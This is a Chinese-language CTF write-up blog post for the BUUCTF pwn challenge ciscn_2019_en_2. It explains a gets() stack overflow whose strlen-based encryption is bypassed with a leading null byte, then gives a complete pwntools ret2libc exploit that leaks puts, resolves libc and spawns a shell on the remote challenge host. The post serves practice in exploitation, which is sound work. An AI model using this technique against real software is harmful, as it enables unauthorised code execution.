[buuctf] pwn-ciscn_2019_en_2

ciscn_2019_en_2

先查看文件的保护

    Arch:     amd64-64-little                   
    RELRO:    Partial RELRO                     
    Stack:    No canary found                  
    NX:       NX enabled                        
    PIE:      No PIE (0x400000)

64位程序池,开了nx保护,拖进ida分析

程序主要就是功能选择,1加密2解密3退出,但是只能1功能有效,加密函数的如下

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xCu;
      }
      else
      {
        s[x] ^= 0xDu;
      }
    }
    else
    {
      s[x] ^= 0xEu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);

如果正常情况下,从这溢出,那么我们输入的shellcode会被加密,我们还得写解密函数,但是注意到strlen函数,那么可以截断,直接绕过这个加密函数,不用进行解密,溢出泄露libc版本即可完成pwn

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

r = remote('node3.buuoj.cn',25663)
elf = ELF('./ciscn_2019_en_2')

rdi_ret = 0x400c83
ret = 0x400c84
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

r.sendlineafter('choice!\n','1')
payload = '\x00'+'a'*(0x50+0x7)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter('encrypted\n',payload)

r.recvline()
r.recvline()


puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,'\x00'))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
r.sendlineafter('choice!\n','1')
payload = '\x00'+'a'*0x57+p64(ret)+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)
r.sendlineafter('encrypted\n',payload)

r.interactive()

posted @ 2021-03-08 21:54  寒江寻影  阅读(378)  评论(0编辑  收藏  举报